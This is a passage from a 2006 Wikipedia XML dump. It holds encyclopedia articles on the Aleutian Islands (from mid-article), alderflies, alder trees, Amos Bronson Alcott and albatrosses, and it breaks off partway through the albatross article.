A hospital was built in Unalaska in [[1933]] by the US [[Bureau of Indian Affairs]]. 

During [[World War II]], small parts of the Aleutian islands were occupied by [[Japan]]ese forces when [[Attu Island|Attu]] and [[Kiska]] were invaded in order to divert American forces away from the main Japanese attack at [[Midway Atoll]]. The U.S. Navy, having broken the Japanese naval radio codes, knew that this was just a diversion, and it did not expend large amounts of effort in defending the islands. A few Americans were taken to Japan as prisoners of war. Most of the civilian population of the Aleutians were interned by the United States in camps in the [[Alaska Panhandle]]. American forces invaded Japanese-held Attu, defeated the Japanese there, and subsequently regained control of all the islands. See: [[Battle of the Aleutian Islands]].

Monday, [[June 3]], [[2002]] was celebrated as [[Dutch Harbor Remembrance Day]]. The governor of Alaska ordered state flags lowered to half-staff to honor the 78 soldiers who died during the two-day Japanese air attack in 1942. The [[Aleutians World War II Campaign National Historic Area]] Visitors Center opened in June 2002.

The Alaska Native Claims Settlement Act ([[ANCSA]]) became law in [[1971]]. In 1977, the [[Ounalashka Corporation]] (from Unalaska) declared a [[dividend]]. This was the first village corporation to declare and pay a dividend to its shareholders.

==Miscellaneous==

The Aleutian Islands would likely be an important part of the [[National Missile Defense]] system proposed to defend the United States from small ballistic missile attacks.

==See also==
*[[List of Aleutian Islands]]
*[[List of Aleutian Island Volcanoes]]
*[[Aleutians West Census Area, Alaska]]
*[[Aleutians East Borough, Alaska]]
*[[Peter the Aleut]]

&lt;center&gt;[[Image:AleutianIslands.jpeg]]&lt;br /&gt;&lt;small&gt;Western Aleutian Islands, from a 1916 map of the Alaska Territory&lt;/small&gt;&lt;/center&gt;


==References==
*{{1911}}
''Initial text from 1911 encyclopedia; has had some updating, revision, and Wikifying, but more is needed, especially on post-1945 history. Have added some civil history''

Total area of 6,821 sq mi from [http://www.britannica.com/ebi/article-9272796 Encyclopædia Britannica Online]

{{region}}

[[Category:Islands of Alaska]]
[[Category:Archipelagoes]]

[[de:Alëuten]]
[[et:Aleuudid (saarestik)]]
[[es:Islas Aleutianas]]
[[eo:Aleutoj]]
[[fr:Îles Aléoutiennes]]
[[gl:Aleutianas]]
[[ko:알류샨 열도]]
[[is:Aleuteyjar]]
[[it:Isole Aleutine]]
[[lt:Aleutų salos]]
[[hu:Aleut-szigetek]]
[[nl:Aleoeten]]
[[ja:アリューシャン列島]]
[[pl:Aleuty]]
[[pt:Aleutas]]
[[fi:Aleutit (saaristo)]]
[[sv:Aleuterna]]</text>
    </revision>
  </page>
  <page>
    <title>Alderfly</title>
    <id>1382</id>
    <revision>
      <id>41017083</id>
      <timestamp>2006-02-24T14:39:03Z</timestamp>
      <contributor>
        <ip>132.236.75.81</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Sialidae
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| classis = [[Insect]]a
| ordo = [[Megaloptera]]
| familia = '''Sialidae'''
| familia_authority = [[William Elford Leach|Leach]], 1815
}}

'''Alderfly''' is the name given to [[Neuroptera|neuropterous]] [[insect]]s of the family [[Sialidae]], related to the ant-lions, with long filamentous antennae and four large wings, of which the [[anterior]] pair is rather longer than the posterior. 

The females lay a vast number of eggs upon grass stems near water.  The larvae are aquatic, active, armed with strong sharp mandibles, and breathe by means of seven pairs of abdominal branchial filaments.  When full sized they leave the water and spend a quiescent [[pupa]]l stage on the land before [[metamorphosis (biology)|metamorphosis]] into the sexually mature insect. 

''Sialis lutaria'' is a well-known British example.  In America they are called Fishflies and there are two genera, ''Sialis'' and ''Chauliodes.''
[[Category:Megaloptera]]
[[Category:Insects]]

[[nl:Sialidae]]</text>
    </revision>
  </page>
  <page>
    <title>Alder</title>
    <id>1383</id>
    <revision>
      <id>41816746</id>
      <timestamp>2006-03-01T23:03:33Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/205.155.32.10|205.155.32.10]] ([[User talk:205.155.32.10|talk]]) to last version by MPF</comment>
      <text xml:space="preserve">{{Otherusesabout|the common name of a plant genus}}
{{Taxobox
| color = lightgreen
| name = Alder
| image = Tagalder8139.jpg
| image_width = 250px
| image_caption = ''Alnus serrulata'' (Tag Alder)&lt;br /&gt;Male catkins on right,&lt;br /&gt;mature female catkins left&lt;br /&gt;[[Johnsonville, South Carolina]]
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[dicotyledon|Magnoliopsida]]
| ordo = [[Fagales]]
| familia = [[Betulaceae]]
| genus = '''''Alnus'''''
| genus_authority = [[Philip Miller|Mill.]]
| subdivision_ranks = Species
| subdivision = 
About 20-30 species, see text.
}}

'''Alder''' is the common name of a [[genus]] of [[flowering plant]]s ('''''Alnus''''') belonging to the birch family (Family [[Betulaceae]]). The genus comprises about 30 [[species]] of [[Plant sexuality|monoecious]] [[tree]]s and [[shrub]]s, few reaching large size, distributed throughout the North Temperate zone, and in the [[New World]] also along the [[Andes]] southwards to [[Chile]]. The [[leaf|leaves]] are [[deciduous]] ([[evergreen]] or nearly so in a few species), alternate, simple, and serrated. The [[flower]]s are [[catkin]]s with elongate male catkins on the same plant as shorter female catkins, often before leaves appear; they are mainly wind-pollinated, but also visited by [[bee]]s to a small extent. They differ from the [[birch]]es (''Betula'', the other genus in the family) in that the female catkins are woody and do not disintegrate at maturity, opening to release the seeds in a similar manner to many [[Conifer cone|conifer cones]].

The best-known species is the Common or [[Black Alder]] (''A. glutinosa''), native to most of [[Europe]] and widely introduced elsewhere. The largest species is [[Red Alder]] (''A. rubra''), reaching 35 m (the tallest is 32 m) on the west coast of [[North America]], with Black Alder and [[Italian Alder]] (''A. cordata'') both reaching about 30 m. By contrast, the widespread [[Green Alder]] (''A. viridis'') is rarely more than a 5 m shrub.

The common name ''alder'' is derived from an old [[Germanic_language|Germanic]] root. The botanic name ''Alnus'' is the original [[Latin]] name. 

==Classification==
The genus is divided into three subgenera:

'''Subgenus ''Alnus''.''' Trees. Shoot buds stalked. Male and female catkins produced in autumn (fall) but staying closed over winter, pollinating in late winter or early spring. About 15-25 species, including:
*''A. acuminata'' - [[Andean Alder]]. Andes Mountains, South America.
*''A. cordata'' - [[Italian Alder]]. Italy.
*''Alnus formosana'' -[[Formosan Alder]]
*''A. glutinosa'' - [[Black Alder]]. Europe.
*''A. incana'' - [[Grey Alder]]. Europe &amp; Asia.
**''A. oblongifolia'' (''A. incana'' subsp. ''oblongifolia'') - [[Grey Alder|Arizona Alder]]. Southwestern North America.
**''A. rugosa'' (''A. incana'' subsp. ''rugosa'') - [[Grey Alder|Speckled Alder]]. Northeastern North America.
**''A. tenuifolia'' (''A. incana'' subsp. ''tenuifolia'') - [[Grey Alder|Thinleaf Alder]] or Mountain Alder. Northwestern North America.
*''A. japonica'' - [[Japanese Alder]]. Japan.
*''A. jorullensis'' - [[Mexican Alder]]. Mexico, Guatemala.
*''A. orientalis'' - [[Oriental Alder]]. Southern Turkey, northwest Syria, Cyprus.
*''A. rhombifolia'' - [[White Alder]]. Interior western North America.
*''A. rubra'' - [[Red Alder]]. West coastal North America.
*''A. serrulata'' - Hazel alder, [[Tag Alder]] or Smooth alder. Eastern North America.  
*''A. subcordata'' - [[Caucasian Alder]]. Caucasus, Iran.

'''Subgenus ''Clethropsis''.''' Trees or shrubs. Shoot buds stalked. Male and female catkins produced in autumn (fall) and expanding and pollinating then. Three species:
*''A. maritima'' - [[Seaside Alder]]. East coastal North America, plus disjunct population in Oklahoma.
*''A. nepalensis'' - [[Nepalese Alder]]. Eastern Himalaya, southwest China.
*''A. nitida'' - [[Himalayan Alder]]. Western Himalaya.

[[Image:Alnus serrulata leaves.jpg|right|thumb|Leaves of the [[Tag Alder]]]]
'''Subgenus ''Alnobetula''.''' Shrubs. Shoot buds not stalked. Male and female catkins produced in late spring (after leaves appear) and expanding and pollinating then. One to four species:
*''A. viridis'' - [[Green Alder]]. Widespread:
**''A. viridis'' subsp. ''viridis''. Eurasia.
**''A. viridis'' subsp. ''maximowiczii'' (''A. maximowiczii''). Japan.
**''A. viridis'' subsp. ''crispa'' (''A. crispa''). Northern North America.
**''A. viridis'' subsp. ''sinuata'' (''A. sinuata'', [[Sitka Alder]] or Slide Alder). Western North America, far northeastern Siberia.

==Uses==
[[Image:Alder female 8519.JPG|right|thumb|''Alnus serrulata'' (Tag Alder), female catkins, [[Johnsonville, South Carolina]]]]
Alders establish [[symbiosis|symbioses]] with the [[nitrogen]]-fixing [[Actinobacteria]] ''Frankiella alni''. This bacteria converts atmospheric nitrogen into soil-soluble [[nitrate]]s which can be utilised by the alder, and favorably enhances the soil fertility generally. Alders benefit other plants growing near them by taking nitrogen out of the air and depositing it in the soil in usable form; fallen alder leaves make very rich [[compost]].

Alder catkins are one of the first sources of pollen for [[bee]] species, especially [[honeybee]]s, which use it for spring buildup. Alder is a preferred wood for [[charcoal]] making, formerly used in the manufacture of [[gunpowder]], or for [[smelting]] [[metal]] [[ore]]s, now used primarily for [[cooking]]. The wood is also traditionally used for [[smoking (food)|smoking]] [[fish]] and [[meat]], though this usage has often been replaced by other woods such as [[oak]] and [[hickory]]. It is popular as a material for [[electric guitar]] bodies.

Alders are sturdy and fast-growing, even in acidic and damaged sites such as burned areas and [[mining]] sites. Italian Alder is particularly useful on dry, infertile sites. Alders can be used as a producer of simple bio-mass, growing quickly in harsh environments. Alders are sometimes made into [[bonsai]].

Alder is used as a food plant by some [[Lepidoptera]] species, see [[list of Lepidoptera which feed on Alders]].
[[Image:Alnus-viridis.JPG|thumb|left|Green Alder (''Alnus viridis'')]]
[[Image:Alnus incana rugosa leaves.jpg|thumb|left|Speckled Alder (''Alnus incana'' subsp. ''rugosa'') - leaves]]
&lt;br clear=left /&gt;

== External links ==
{{Wiktionarypar|Alder}}
* [http://www.inmygarden.org/archives/2005/02/alder_the_nitro_1.html Alder: The nitrogen fix] from The Monday Garden
* ''Section'' Eclectic herbal information 
** [http://www.henriettesherbal.com/eclectic/kings/alnus.html Alnus serrulata (Tag Alder)] King's American Dispensatory @ Henriette's Herbal
** [http://www.botanical.com/botanical/mgmh/a/alder019.html Alder Tree, Common (Alnus glutinosa) ] Mrs. Grieve's &quot;A Modern Herbal&quot; @ Botanical.com
** [http://www.botanical.com/botanical/mgmh/a/alder021.html Alder, Tag (Alnus serrulata)] Mrs. Grieve's &quot;A Modern Herbal&quot; @ Botanical.com

[[Category:Fagales]]

[[cs:Olše (strom)]]
[[da:Elleslægten]]
[[de:Erlen (Botanik)]]
[[es:Alnus]]
[[eo:Alno]]
[[fr:Aulne]]
[[it:Alnus]]
[[lt:Alksnis]]
[[li:Aels (sjtroek)]]
[[nl:Els (boom)]]
[[pl:Olsza]]
[[sq:Alnus]]
[[sr:Јова]]
[[fi:Lepät]]
[[sv:Alar]]
[[tr:Kızılağaç]]
[[uk:Вільха]]
[[zh:赤杨]]</text>
    </revision>
  </page>
  <page>
    <title>Amos Bronson Alcott</title>
    <id>1384</id>
    <revision>
      <id>42078820</id>
      <timestamp>2006-03-03T17:59:40Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">[[Image:Amos_Bronson_Alcott.jpg|thumb|right|200px|A. Bronson Alcott]]
'''Amos Bronson Alcott''' ([[November 29]], [[1799]] - [[March 4]], [[1888]]) was an [[United States|American]] teacher and writer. He is remembered for founding a short-lived and unconventional school as well as a [[utopia]]n community known as &quot;[[Fruitlands]]&quot;, and for his association with [[Transcendentalism]].

Alcott was born on [[Spindle Hill]] in the town of [[Wolcott, Connecticut|Wolcott]], [[New Haven County, Connecticut|New Haven County]], [[Connecticut]]. His father, [[Joseph Chatfield Alcox]], was a [[farmer]] and [[mechanic]] whose ancestors, then bearing the name of Alcocke, had settled in eastern [[Massachusetts]] in colonial days. The son adopted the spelling &quot;Alcott&quot; in his early youth.  

Self-educated and early thrown upon his own resources, he began in 1814 to earn his living by working in a clock factory in [[Plymouth, Connecticut]], and for many years after 1815 he peddled books and merchandise, chiefly in the southern states. He began teaching in [[Bristol, Connecticut]] in 1823, and subsequently conducted schools in [[Cheshire, Connecticut]], in 1825-[[1827]], again in Bristol in 1827-1828, in [[Boston, Massachusetts]] in 1828-[[1830]], in Germantown, now part of [[Philadelphia, Pennsylvania|Philadelphia]], in 1831-[[1833]], and in Philadelphia in 1833. As a young teacher he was most convinced by the [[educational philosophy]] of the [[Swiss]] [[pedagogue]] [[Johann Heinrich Pestalozzi]].

In 1830 he married [[Abby May]], the sister of [[Samuel J. May]] ([[1797]]-[[1871]]), the reformer and [[abolition]]ist. Alcott himself was a [[William Lloyd Garrison|Garrisonian]] [[abolitionist]], and pioneered the strategy of [[tax resistance]] to [[slavery]] which [[Thoreau]] made famous in ''[[Civil Disobedience]]''.  Alcott publicly debated with Thoreau the use of force and passive resistance to slavery; along with Thoreau he was among the financial and moral supporters of [[John Brown (abolitionist)|John Brown]] and occasionally helped fugitive slaves escape on the [[Underground Railroad]].

In 1834 he opened the [[Temple School]] in Boston, which became famous because of his original methods. Alcott's plan was to develop self-instruction on the basis of self-analysis, with an emphasis on conversation rather than the lecture and drill which were prevalent in U.S. classrooms of the time. The subject matter was often the [[Gospel]]s, religious and moral principles; some of the school's conversations were published in Alcott's ''Conversations with Children on the Gospels''. Alcott refused [[corporal punishment]] as a means of disciplining his students; instead, he offered his own hand for an offending student to strike, saying that any failing was the teacher's responsibility. The shame and guilt this method induced, he believed, was far superior to the fear instilled by corporal punishment. As assistants in the school Alcott had two of [[nineteenth-century]] America's most talented women writers, [[Elizabeth Palmer Peabody]] (who published ''A Record of Mr. Alcott's School'' in 1835) and [[Margaret Fuller]]; as students he had the children of the Boston intellectual classes, including [[Josiah Quincy]], grandson of the president of [[Harvard]]. Alcott's methods were not well received; many in the church found his conversations on the Gospels close to blasphemous, and many in the public found his disciplinary measures ridiculous. The school was denounced in the press and rejected by most public opinion, and was not pecuniarily successful as the controversy caused many parents to remove their students. Finally Alcott alienated many of the remaining parents by admitting an [[African American]] child whom he then refused to expel from his classes. In 1839 the school was closed, although Alcott had won the affection of many of his pupils. His pedagogy was a forerunner of [[progressive education|progressive]] and [[democratic school]]ing.

[[Image:The Wayside, Concord, Massachusetts.JPG|thumb|right|300px|[[The Wayside]], home in turn to the Alcott family, [[Nathaniel Hawthorne]], and [[Margaret Sidney]].]]

In 1840 Alcott removed to [[Concord, Massachusetts]]. After a visit to [[England]], in 1842, he started with two English associates, [[Charles Lane]] and [[Henry C. Wright]], at &quot;Fruitlands&quot;, in the town of [[Harvard, Massachusetts]], a [[utopian]] [[socialist]] experiment in farm living and nature meditation as tending to develop the best powers of body and soul. The experiment quickly collapsed, and Alcott returned in 1844 to his Concord home &quot;Hillside&quot; (later renamed &quot;[[The Wayside]]&quot; by [[Nathaniel Hawthorne|Hawthorne]]) near that of [[Ralph Waldo Emerson]]. Alcott removed to Boston four years later, and again back to Concord after 1857.  

He spoke, as opportunity offered, before the &quot;[[lyceum]]s&quot; then common in various parts of the United States, or addressed groups of hearers as they invited him. These &quot;conversations&quot; as he called them, were more or less informal talks on a great range of topics, spiritual, aesthetic and practical, in which he emphasized the ideas of the school of American [[Transcendentalist]]s led by Emerson, who was always his supporter and discreet admirer. He dwelt upon the illumination of the mind and soul by direct communion with the Creative Spirit; upon the spiritual and poetic monitions of external nature; and upon the benefit to man of a serene mood and a simple way of life.  

Alcott's philosophical teaching was, and is still, often thought inconsistent, hazy or abrupt.  But though he formulated no system of [[philosophy]], and seemed to show the influence now of [[Plato]], now of [[Immanuel Kant|Kant]], or of German thought as filtered through the brain of [[Coleridge]], he was, like Emerson, steadily optimistic, idealistic, and individualistic. The teachings of Dr. [[William Ellery Channing]] a little before had laid the groundwork for the work of most of the Concord Transcendentalists and contributors to ''The Dial'', of whom Alcott was one.  

In his last years, his daughter, the writer [[Louisa May Alcott]], provided for him. Alcott was gratified at being able to become the nominal, and at times the actual, head of a Concord &quot;Summer School of Philosophy and Literature&quot;, which had its first session in 1879, and in which, in a building next to his house, listeners were addressed during a part of several successive summers on many themes in philosophy, religion and letters.  

Alcott's published books, all from late in his life, included ''Tablets'' (1868), ''Concord Days'' (1872), and ''Sonnets and Canzonets'' (1882). Earlier he had written a series of ''[[Orpheus|Orphic]] Sayings'' which were published in ''The Dial'' as examples of Transcendentalist thought. The sayings, though called [[oracle|oracular]], were considered sloppy, or vague by contemporary commentators as well as [[twentieth-century]] ones. He left a large collection of personal jottings and memorabilia, most of which remain unpublished. He died in Boston on [[4 March]] [[1888]]. 

==References==
* Alcott, Amos Bronson. ''Conversations with Children on the Gospels''. 
* [[Geraldine Brooks]]. &quot;Orpheus at the Plough.&quot; ''[[The New Yorker]]'', [[January 10]], [[2005]], pp. 58-65. ([http://geraldinebrooks.com/march_alcott.shtml The New Yorker article ] is reproduced on author's website)

{{1911}}

[[Category:1799 births|Alcott, Amos Bronson]]
[[Category:1888 deaths|Alcott, Amos Bronson]]
[[Category:Alternative education|Alcott, Amos Bronson]]
[[Category:Tax resisters|Alcott, Amos Bronson]]
[[Category:Teachers|Alcott, Amos Bronson]]
[[Category:Transcendentalism|Alcott, Amos Bronson]]

[[de:Amos Bronson Alcott]]
[[es:Amos Bronson Alcott]]
[[gl:Amos Bronson Alcott]]</text>
    </revision>
  </page>
  <page>
    <title>Albatross</title>
    <id>1385</id>
    <revision>
      <id>41890958</id>
      <timestamp>2006-03-02T11:50:42Z</timestamp>
      <contributor>
        <username>Sabine's Sunbird</username>
        <id>123079</id>
      </contributor>
      <minor />
      <comment>references</comment>
      <text xml:space="preserve">:''This article is about the bird family. For other uses, see [[Albatross (disambiguation)]].''
{{Taxobox
| color = pink
| name = Albatross
| image = Short tailed albatross.jpeg
| image_width = 230px
| image_caption = Short-tailed Albatross
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Bird|Aves]]
| ordo = [[Procellariiformes]]
| familia = '''Diomedeidae'''
| familia_authority = [[George Robert Gray|G.R. Gray]], 1840
| subdivision_ranks = Genera
| subdivision = 
''[[Diomedea]]''&lt;br /&gt;
''[[Thalassarche]]''&lt;br /&gt;
''[[Phoebastria]]''&lt;br /&gt;
''[[Phoebetria]]''
}}

The '''albatrosses''' are [[seabird]]s in the [[family (biology)|family]]  '''Diomedeidae''', which is closely allied to the [[procellariidae|procellarid]]s, [[storm-petrel]]s and [[diving-petrel]]s in the order [[Procellariiformes]] (the tubenoses). They range widely in the [[Southern Ocean]] and the North [[Pacific]]. They are absent from the North [[Atlantic]] although [[fossil]] remains show they once occurred there too. Albatrosses are amongst the largest of [[bird flight|flying]] birds, and the great albatrosses from the [[genus]] ''Diomedea'' have the largest wingspans of any extant birds. 

Albatrosses are highly efficient in the air, using [[dynamic soaring]] and slope soaring to cover great distances with little exertion. They feed on [[squid]], [[fish]] and [[krill]] by either scavenging, surface seizing or diving. Albatrosses are [[seabird colony|colonial]], nesting for the most part on remote oceanic islands, often with several species nesting together. Breeding pairs form over several years and will remain together for life. A breeding season can take over a year from laying to [[fledge|fledging]], with a single [[egg (biology)|egg]] laid in each breeding season.

Nineteen of the 21 species of albatrosses are threatened with [[extinction]]. Numbers of albatrosses have declined in the past due to harvesting for [[feather]]s, but today the albatrosses are threatened by  [[introduced species]] such as [[rat]]s and [[feral cat]]s that attack eggs, chicks and nesting adults; by [[pollution]]; and by [[long-line fishing]]. Long-line fisheries pose the greatest threat, as feeding birds are attracted to the [[bait]] and become hooked on the lines and drown. Governments, conservation organisations and fishermen are all working towards reducing this by-catch. 
==Albatross biology==
===Taxonomy and evolution===
The albatrosses comprise 21 [[species]] in 4 [[genus|genera]]. The four genera are the [[great albatross]]es (''Diomedea''), the [[mollymawk]]s (''Thalassarche''), the [[North Pacific albatross]]es (''Phoebastria''), and the [[sooty albatross]]es or sooties (''Phoebetria''). Of the four genera, the North Pacific albatrosses are considered to be a sister taxon to the great albatrosses, while the sooty albatrosses are considered closer to the mollymawks. 

The [[taxonomy]] of the albatross group has been a source of a great deal of debate. The [[Sibley-Ahlquist taxonomy]] places seabirds, [[bird of prey|birds of prey]] and many others in a greatly enlarged order [[Ciconiiformes]], whereas the ornithological organisations in North America, Europe, South Africa, Australia and New Zealand retain the more traditional order [[Procellariiformes]]. 

Within the family, the assignment of genera has been debated for over a hundred years. Originally placed into a single genus, ''Diomedea'', they were split into four different genera in 1852, then lumped back together and split again several times, acquiring 12 different genus names in total (though never more than 8 at one time) by 1965 (''Diomedea'', ''Phoebastria'', ''Thalassarche'', ''Phoebetria'', ''Thalassageron'', ''Diomedella'', ''Nealbutrus'', ''Rhothonia'', ''Julietata'', ''Galapagornis'', ''Laysanornis'', and  ''Penthirenia''). 

By 1965, in an attempt to bring some order back to the classification of albatrosses they were lumped into two genera, ''Phoebetria'' (the 'primitive' sooty albatrosses which most closely seemed to resemble the procellarids) and ''Diomedea'' (the rest)&lt;ref&gt;Alexander, W. B., Fleming C. A., Falla R. A., Kuroda N. H., Jouanin C., Rowan M. K., Murphy R. C., Serventy D. L., Salomonsen F., Ticknell W. L. N., Voous K. H., Warham J., Watson G. E., Winterbottom J. M., and Bourne W. R. P. 1965. &quot;Correspondence: The families and genera of the petrels and their names.&quot; ''Ibis'' '''107''': 401-5.&lt;/ref&gt;. Though there was a case for the simplification of the family (particularly the nomenclature), the classification was pretty much the same as suggested by [[Elliott Coues]] in 1866, paid little attention to more recent studies and even ignored some of Coues's suggestions. 

More recent research  by Gary Nunn of the [[American Museum of Natural History]] ([[1996]]) and other researchers around the world studied the [[mitochondrial DNA]] of all the 14 accepted species, finding that there were four, not two, monophyletic groups within the albatrosses&lt;ref&gt;Nunn, G. B., Cooper, J., Jouventin, P., Robertson, C. J. R. and Robertson G. G. (1996) &quot;Evolutionary relationships among extant albatrosses (Procellariiformes: Diomedeidae) established from complete cytochrome-b gene sequences&quot;. ''Auk'' '''113''': 784-801. [http://elibrary.unm.edu/sora/Auk/v113n04/p0784-p0801.pdf]&lt;/ref&gt;. They proposed the resurrection of two of the old genus names, ''Phoebastria'' for the North Pacific albatrosses and ''Thalassarche'' for the mollymawks, with the great albatrosses retaining ''Diomedea'' and the sooty albatrosses staying in ''Phoebetria''. Both the [[British Ornithologists' Union]] and the South African authorities split the albatrosses into four genera as Nunn suggested, and the change has been accepted by the majority of researchers as well. 

While there is some agreement on the number of genera, there is less agreement on the number of species. After his work on albatross genera, Nunn went on to propose 24 different species in 1998&lt;ref&gt;Robertson, C. J. R. and Nunn, G. B. (1998) &quot;Towards a new taxonomy for albatrosses&quot; in: ''Proceedings First International Conference on the Biology and Conservation of Albatrosses'', G.Robertson &amp; R.Gales (Eds), Chipping Norton:Surrey Beatty &amp; Sons, 13-19,&lt;/ref&gt;, compared to the 14 then accepted. These changes were not universally accepted; some of his splits have been accepted while others have been rejected&lt;ref&gt;Burg, T.M., &amp; Croxall, J.P., (2004) &quot;Global population structure and taxonomy of the wandering albatross species complex&quot;. ''Molecular Ecology'' '''13''': 2345-2355. [http://biology.queensu.ca/~burgt/pdf/Burg&amp;Croxall2004.pdf]&lt;/ref&gt; and for the most part 21 species is the number accepted by the [[IUCN]] and many others (though by no means not all—two authors have called for the number of species to be returned to 14&lt;ref&gt;Penhallurick, J. and Wink, M. (2004). &quot;Analysis of the taxonomy and nomenclature of the Procellariformes based on complete nucleotide sequences of the mitochondrial cytochrome b gene.&quot; ''Emu'' '''104''': 125-147.&lt;/ref&gt;}).

The molecular study of the [[evolution]] of the bird families by [[Sibley-Ahlquist taxonomy|Sibley and Ahlquist]] has put the [[Adaptive radiation|radiation]] of the [[Procellariiformes]] in the [[Oligocene]] period (35&amp;ndash;30 million years ago), though the group has an older history, with a [[fossil]] attributed to the order, a seabird known as ''Tytthostonyx'', being found in late [[Cretaceous]] rocks (70 mya). The molecular evidence suggests that the storm-petrels were the first to diverge from the ancestral stock, and the albatrosses next, with the procellarids and diving petrels. The earliest fossil albatross was found in [[South Carolina]] in rocks dating from the Upper Oligocene, though it is uncertain which [[genus]] it should be attributed to. The four genera are believed to have split more recently; a fossil albatross attributed to the North Pacific albatrosses, ''Phoebastria californica'' was found in mid [[Miocene]] rocks in [[California]], showing the split between the great albatrosses and the North Pacific albatrosses occurred by 15 mya. Similar fossil finds in the southern hemisphere put the split between the sooties and mollymawks at 10 mya&lt;ref name = &quot;Brooke&quot;&gt;Brooke, M. (2004).  ''Albatrosses And Petrels Across The World'': Procellariidae. Oxford University Press, Oxford, UK ISBN 0-19-850125-0&lt;/ref&gt;. 
The fossil record of the albatrosses in the northern hemisphere is more complete than that of the southern, and many fossil forms of albatross have been found in the North [[Atlantic]], which today has no albatrosses. The remains of a colony of [[Short-tailed Albatross]]es have been uncovered on the island of [[Bermuda]], and the majority of fossil albatrosses from the North Atlantic have been of the genus ''Phoebastria'' (the North Pacific albatrosses), one, ''Phoebastria anglica'', has been found in deposits in both [[North Carolina]] and [[England]]. 

===Morphology and flight===
[[Image:Black footed albatross.jpg|thumb|250px|Unlike most Procellariiformes, albatrosses, like this Black-footed Albatross, can walk well on land.]]
The albatrosses are a group of large to very large [[bird]]s, amongst the largest of the seabirds,  with very long narrow wings, which are aerodynamically highly efficient. The [[beak|bill]] is large, strong and sharp-edged, the upper mandible terminating in a large hook. This bill is composed of several horny plates, and along the sides are the two 'tubes', long nostrils that give the [[order (biology)|order]] its name. The tubes of all albatrosses are along the sides of the bill, unlike the rest of the [[Procellariiformes]] were the tubes run along the top of the bill.  These tubes allow the albatrosses to have an acute sense of smell, an unusual ability for birds. Like other Procellariiformes they use this olfactory ability while foraging in order to locate potential food sources&lt;ref&gt;Lequette, B., Verheyden, C., Jowentin, P. (1989) &quot;Olfaction in Subantarctic seabirds: Its phylogenetic and ecological significance&quot; ''The Condor'' '''91''': 732-135. [http://scholar.google.com/url?sa=U&amp;q=http://elibrary.unm.edu/sora/Condor/files/issues/v091n03/p0732-p0735.pdf]&lt;/ref&gt;. The feet have no hind toe, and the three anterior toes are completely webbed. The legs are strong for Procellariiformes, in fact uniquely amongst the order in that they and the [[giant petrel]]s are able to walk well on land. 

The adult [[plumage]] of most of the albatrosses is usually some variation of dark upper-wing and back, white undersides, often compared to that of a [[gull]]. At one extreme the [[Wandering Albatross]] is almost completely white except for the ends of the wings, at the other the [[Amsterdam Albatross]] has an almost juvenile like breeding plumage with a great deal of brown, particularly a strong brown band around the chest. Several species of [[mollymawk]]s and [[North Pacific albatross]]es have face and head markings like eye patches or are grey or yellow instead of white. Three albatross species, the [[Black-footed Albatross]] and the two [[Sooty albatross]]es vary completely from the usual patterns and are almost entirely black (or dark grey in the case of the [[Sooty Albatross]]). Albatrosses take several years to get their full adult breeding plumage. 

The wingspans of the largest great albatrosses (genus ''Diomedea'') are the largest of any bird, exceeding 340 cm, although the other species' wingspans are considerably smaller. The wings are cambered, with thickened streamlined leading edges. Albatrosses travel huge distances with two techniques used by many long-winged seabirds, [[dynamic soaring]] and slope soaring. Dynamic soaring enables them to minimise the effort needed by gliding across wave fronts gaining [[energy]] from the vertical [[wind gradient]]. Slope soaring is more straightforward, the albatross turns to the wind, gaining height, from where it can then glide back down to the sea. Albatross have high glide ratios, around 22:23, meaning that for every metre they drop they can travel forwards 22 metres. They are aided in soaring by a shoulder-lock, a sheet of [[tendon]] that locks the wing when fully extended, allowing the wing to be kept up and out without any muscle expenditure, a morphological adaptation they share with the giant petrels&lt;ref&gt;Pennycuick, C. J. (1982). &quot;The flight of petrels and albatrosses (Procellariiformes), observed in South Georgia and its vicinity&quot;. ''Philosophical Transactions of the Royal Society of London B'' '''300''': 75–106.&lt;/ref&gt;. 

[[Image:Albatross_shape.png|thumb|left|200px|Slope soaring and dynamic soaring allow albatrosses to travel great distances with little exertion.]]
Albatrosses combine these soaring techniques with the use of predictable [[weather]] systems; albatrosses in the southern hemisphere flying north from their colonies will take a clockwise route and those flying south will fly anticlockwise&lt;ref name =&quot;tick&quot;&gt;Tickell, W.L.N. (2000). ''Albatrosses''.  Sussex:Pica Press, ISBN 1-873403-94-1&lt;/ref&gt;. Albatrosses are so well adapted to this lifestyle that their [[heart rate]]s while flying are close to their basal heart rate when resting. This efficiency is such that the most energetically demanding aspect of a foraging trip is not the distance covered, but the landings, takeoffs and hunting they undertake having found a food source&lt;ref&gt;Weimerskirch H, Guionnet T, Martin J, Shaffer SA, Costa DP. (2000) &quot;Fast and fuel efficient? Optimal use of wind by flying albatrosses.&quot;  ''Proc Biol Sci'' '''267''': (1455) 1869-74. &lt;/ref&gt;. This efficient long distance travelling underlies the albatross's success as a long distance forager, covering great distances and expending little energy looking for patchily distributed food sources.

===Distribution and range at sea===
All albatrosses range in the southern hemisphere except for the four North Pacific albatrosses, of which three occur exclusively in the North Pacific, from Hawaii to Japan, California and Alaska; and one, the [[Waved Albatross]], breeds on the [[equator]] in the [[Galapagos Islands]] and feeds off the coast of [[South America]]. The need for wind in order to glide is the reason albatrosses are for the most part confined to higher latitudes, since they are unsuited to sustained flapping flight, and are usually incapable of crossing the [[doldrums]]. The exception to this rule is the Waved Albatross, which breeds and feeds in the equatorial waters around the Galapagos Islands, it is able to live there because of the cool waters of the [[Humboldt Current]]. 
 
